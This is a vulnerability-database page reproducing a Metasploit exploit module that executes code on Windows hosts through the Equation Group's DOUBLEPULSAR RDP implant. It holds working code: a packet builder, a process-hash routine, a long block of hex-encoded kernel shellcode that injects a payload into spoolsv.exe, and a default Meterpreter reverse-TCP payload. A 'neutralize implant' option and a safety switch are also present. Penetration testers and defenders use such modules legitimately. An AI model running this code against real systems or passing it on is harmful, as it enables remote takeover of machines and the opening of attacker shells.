Lucene search
K

RDP DOUBLEPULSAR Remote Code Execution

🗓️ 04 Feb 2020 00:00:00Reported by Luke JenningsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 178 Views

RDP DOUBLEPULSAR Remote Code Execution against Equation Group's DOUBLEPULSAR implant for RD

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::RDP  
  
MAX_SHELLCODE_SIZE = 4096  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',  
'Description' => %q{  
This module executes a Metasploit payload against the Equation Group's  
DOUBLEPULSAR implant for RDP.  
  
While this module primarily performs code execution against the implant,  
the "Neutralize implant" target allows you to disable the implant.  
},  
'Author' => [  
'Equation Group', # DOUBLEPULSAR implant  
'Shadow Brokers', # Equation Group dump  
'Luke Jennings', # DOPU analysis and detection  
'wvu', # RDP DOPU analysis and module  
'Tom Sellers', # RDP DOPU analysis  
'Spencer McIntyre' # RDP DOPU analysis  
],  
'References' => [  
['URL', 'https://github.com/countercept/doublepulsar-detection-script']  
],  
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => ARCH_X64,  
'Privileged' => true,  
'Payload' => {  
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,  
'DisableNops' => true  
},  
'Targets' => [  
['Execute payload (x64)',  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
],  
['Neutralize implant',  
'DefaultOptions' => {  
'PAYLOAD' => nil # XXX: "Unset" generic payload  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'AKA' => ['DOUBLEPULSAR'],  
'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],  
'Stability' => [CRASH_OS_DOWN],  
'Reliability' => [REPEATABLE_SESSION]  
}  
))  
  
register_advanced_options([  
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),  
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])  
])  
end  
  
OPCODES = {  
exec: 0x01,  
ping: 0x02,  
burn: 0x03  
}.freeze  
  
DOUBLEPULSAR_MAGIC = 0x19283744  
  
# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw  
def parse_doublepulsar_ping(res)  
return unless res && res.length == 288  
  
magic, _size, major, minor, build = res.unpack('V5')  
sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')  
  
return unless magic == DOUBLEPULSAR_MAGIC  
  
ver_str = "#{major}.#{minor}.#{build}"  
sp_str = "SP#{sp_major}"  
  
prod_str =  
case prod  
when 1  
'Workstation'  
when 2  
'Domain Controller'  
when 3  
'Server'  
end  
  
arch_str =  
case arch  
when 1  
'x86'  
when 2  
'x64'  
end  
  
"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"  
end  
  
def setup  
super  
  
rdp_connect  
is_rdp, server_selected_protocol = rdp_check_protocol  
  
fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp  
  
case server_selected_protocol  
when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX  
fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')  
when RDPConstants::PROTOCOL_SSL  
vprint_status('Swapping plain socket to SSL')  
swap_sock_plain_to_ssl  
end  
rescue Rex::ConnectionError, RdpCommunicationError => e  
fail_with(Failure::Disconnected, e.message)  
end  
  
def cleanup  
rdp_disconnect  
  
super  
end  
  
def check  
print_status('Sending ping to DOUBLEPULSAR')  
res = do_rdp_doublepulsar_pkt(OPCODES[:ping])  
  
unless (info = parse_doublepulsar_ping(res))  
print_error('DOUBLEPULSAR not detected or disabled')  
return CheckCode::Safe  
end  
  
print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')  
print_good("Target is #{info}")  
CheckCode::Vulnerable  
end  
  
def exploit  
if datastore['DefangedMode']  
warning = <<~EOF  
  
  
Are you SURE you want to execute code against a nation-state implant?  
You MAY contaminate forensic evidence if there is an investigation.  
  
Disable the DefangedMode option if you have authorization to proceed.  
EOF  
  
fail_with(Failure::BadConfig, warning)  
end  
  
# No ForceExploit because check is accurate  
unless check == CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')  
end  
  
case target.name  
when 'Execute payload (x64)'  
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")  
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])  
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)  
vprint_status("Total shellcode length: #{shellcode.length} bytes")  
  
print_status('Sending shellcode to DOUBLEPULSAR')  
res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)  
when 'Neutralize implant'  
return neutralize_implant  
end  
  
if res  
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')  
end  
  
print_good('Payload execution successful')  
end  
  
def neutralize_implant  
print_status('Neutralizing DOUBLEPULSAR')  
res = do_rdp_doublepulsar_pkt(OPCODES[:burn])  
  
if res  
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')  
end  
  
print_good('Implant neutralization successful')  
end  
  
def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)  
rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))  
rescue Errno::ECONNRESET, RdpCommunicationError  
nil  
end  
  
=begin  
MULTIPOINT-COMMUNICATION-SERVICE T.125  
DomainMCSPDU: channelJoinConfirm (15)  
channelJoinConfirm  
result: rt-domain-not-hierarchical (2)  
initiator: 14120  
requested: 6402  
=end  
def make_rdp_mcs_doublepulsar(opcode, body)  
data = "\x3c" # channelJoinConfirm  
data << [DOUBLEPULSAR_MAGIC].pack('V')  
data << [opcode].pack('v')  
  
if body  
data << [body.length, body.length, 0].pack('V*')  
data << body  
end  
  
build_data_tpdu(data)  
end  
  
# ring3 = user mode encoded payload  
# proc_name = process to inject APC into  
def make_kernel_user_payload(ring3, proc_name)  
sc = make_kernel_shellcode(proc_name)  
  
sc << [ring3.length].pack('S<')  
sc << ring3  
  
sc  
end  
  
def generate_process_hash(process)  
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm  
proc_hash = 0  
process << "\x00"  
  
process.each_byte do |c|  
proc_hash = ror(proc_hash, 13)  
proc_hash += c  
end  
  
[proc_hash].pack('l<')  
end  
  
def ror(dword, bits)  
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF  
end  
  
def make_kernel_shellcode(proc_name)  
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm  
# Length: 780 bytes  
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \  
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \  
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \  
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \  
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \  
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \  
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \  
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \  
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \  
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \  
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \  
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \  
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +  
generate_process_hash(proc_name.upcase) +  
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \  
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \  
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \  
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \  
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \  
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \  
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \  
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \  
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \  
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \  
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \  
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \  
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \  
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \  
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \  
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \  
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \  
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \  
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \  
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \  
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \  
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \  
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \  
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \  
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \  
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \  
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \  
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \  
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \  
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \  
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \  
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \  
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \  
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \  
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \  
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"  
end  
  
def kernel_shellcode_size  
make_kernel_shellcode('').length  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation